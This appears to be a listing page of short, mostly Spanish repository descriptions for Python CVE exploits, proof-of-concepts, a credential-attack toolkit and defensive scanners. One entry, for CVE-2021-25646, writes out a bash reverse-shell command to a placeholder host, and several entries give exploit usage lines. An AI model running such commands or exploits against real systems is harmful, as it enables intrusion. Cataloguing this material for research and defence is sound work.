CVE-2022-25476

CVE-2022-25476 ⚡ Uso simple Use este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Ejemplo de configuración: git clone cd Project use python follow below...

credential-attacks-toolkit

CredAttack — Kit de Ataques de Credenciales ⚠️ AVISO LEGAL — Solo pruebas de seguridad autorizadas. Usar esta herramienta contra sistemas que no posees o para los que no tienes permiso escrito explícito es ilegal según la Computer Fraud and Abuse Act EE. UU., la Computer Misuse Act Reino Unido y...

log4shell-scanner

log4shell-scanner Un escáner defensivo sin dependencias para Log4Shell: encuentra archivos jar de log4j-core vulnerables y patrones de explotación JNDI en registros y configuración. Por qué este proyecto Durante mi rotación en CERT-In trabajé en identificación de amenazas, contención, remediación...

cvedb

CVEdb CVEdb is yet another Python CVE database library and utility. There are lots already available. Why create another? Most existing libraries rely on a third party API like cve.circl.lu, which can and do throttle usage, require registration, and/or demand an internet connection. Some librarie...

CVE_ADC_IOC_2026

CVEADCIOC2026 NetScaler CVE Preconditions Checker Author: Derek A Python script to inspect NetScaler configuration files ns.conf and determine if an appliance meets the preconditions for specific CVEs. The script parses running configuration or saved config files and reports vulnerable...

log4shell

log4shell Script en Python para escanear el sistema de archivos del servidor en busca de archivos JAR de log4j que sean vulnerables a CVE-2021-44228 y CVE-2021-45046. El script recorre recursivamente el sistema de archivos incluyendo zip, ear, war para encontrar versiones de log4j 2. hasta 2.15 c...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Hola, soy un investigador de seguridad y este es mi primer exploit. Webmin 1.580 tiene una RCE que también es CVE-2012-2982 Para usar este payload: 1. descargar 2. Abrir en un editor de texto! 3. cambia targetIP a tu objetivo 4. cambia lhost a tu propia IP 5. cambia...

CVE-2017-8917-Joomla

CVE-2017-8917-Joomla Script de Python para explotar la vulnerabilidad de inyección SQL CVE-2017-8917 en Joomla! 3.7.0 Creado únicamente con fines educativos. Utilizado para el CTF TryHackMe Dailybugle Advertencia Todos los scripts/binarios en este repositorio deben ser utilizados únicamente para...

checker-CVE-2024-6387

Comprobador de Vulnerabilidad de OpenSSH Descripción general Este script escanea una lista de direcciones IP o rangos objetivo para determinar si están ejecutando una versión vulnerable a CVE-2024-6387. Características Escanea direcciones IP, nombres de dominio, rutas de archivos que contienen...

CVE-2026-85394

A flaw was found in python-jose. A remote attacker who obtains the service's public key can exploit an algorithm confusion vulnerability when signature verification algorithms are not strictly restricted. By utilizing a specifically formatted public key as a shared secret key, the attacker can...

CVE-2024-53677-Exploit

CVE-2024-53677 Exploit Este repositorio contiene un script de exploit automatizado en Python y una web JSP CVE-2024-53677-Exploit...

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517 Python tarfile Filter Bypass via PATHMAX Symlink Escape Arbitrary file write throughfilter="data" / filter="tar" extraction Table of Contents Overview Vulnerability Details How It Works Affected Versio...

POC-CVE-2025-66034

fontvarlib.py — CVE-2025-66034 fontTools varLib — Arbitrary File Write + XML Injection → Remote Code Execution Table of Contents Overview Vulnerability Details Attack Chain Requirements Installation Configuration Usage How It Works Vulnerable Code Pre-Exploitation Checklist Tested On Disclaimer...

CVE-2026-19445

A flaw was found in Python. A remote, unauthenticated TLS client can cause a use-after-free in a server that uses SSLContext.snicallback to assign a different SSLSocket.context when selecting a certificate per server name, if nothing else keeps the original SSLContext alive. This can crash the...

ApacheStruts-CVE-2018-11776

Apache Struts CVE-2018-11776 Python PoC Esto está basado en https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. La construcción del contenedor y las instrucciones no funcionaron como se describe en el README, por lo que se creó este fork. El exploit de PoC utilizado es de Rapid7...

pyrasp

What is PyRASP ? PyRASP is a Runtime Application Self Protection package for Python-based Web Servers Flask, FastAPI, Django, aiohttp, Web Gateways WSGI and ASGI, and Serverless Functions AWS Lambda, Azure and Google Cloud Functions. It protects against the main attacks web applications are expos...

CVE-2021-25646

uso: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd La reverse shell es la siguiente: Escribe el script de la reverse shell python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Otorga permisos de ejecución al script python3 CVE-2021-25646.py -u...

CVE-2023-41425

CVE-2023-41425 Escribiendo uno porque el que encontré no funciona Uso python3 exploit.py http://example.com/loginURL 10.10.xx.xx 9001...

htb-wifinetictwo-exploit

CVE-2021-31630 PoC de Exploit Este script de Python es un exploit de Prueba de Concepto PoC para CVE-2021-31630, dirigido a una vulnerabilidad en OpenPLC que se ejecuta en la máquina WifineticTwo de HackTheBox. Está diseñado únicamente con fines educativos, con el objetivo de demostrar el proceso...

CVE-2020-14882

Gracias a NS-Sp4ce, Jas502n, s1kr10s, demon, 斯文 Referencias: https://github.com/NS-Sp4ce/CVE-2020-14882 https://github.com/jas502n/CVE-2020-14882 https://github.com/s1kr10s/CVE-2020-14882 usage: CVE-2020-14882.py -h -u URL -f FILE -c CMD optional arguments: -h, --help show this help message and...